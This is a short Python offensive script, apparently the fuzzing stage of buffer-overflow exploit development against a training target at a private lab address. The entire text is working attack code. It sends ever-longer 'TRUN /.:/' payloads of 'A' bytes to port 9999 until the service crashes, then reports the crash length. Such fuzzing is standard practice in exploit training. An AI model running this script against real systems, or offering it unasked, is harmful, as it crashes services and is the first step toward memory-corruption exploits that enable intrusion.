tags: buffer_overflow fuzzer_crash python_offensive


#!/usr/bin/python3
import sys, socket
from time import sleep
 
buff = b"A" * 100
 
while True:
    try:
        soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        soc.connect(('10.10.1.11', 9999))
        pyload = b'TRUN /.:/' + buff
        soc.send(pyload)
        soc.close()
        sleep(1)
        buff += b"A" * 100
    except:
        print("Fuzzing crashed vulnerable server at %s bytes" % str(len(buff)))
        sys.exit()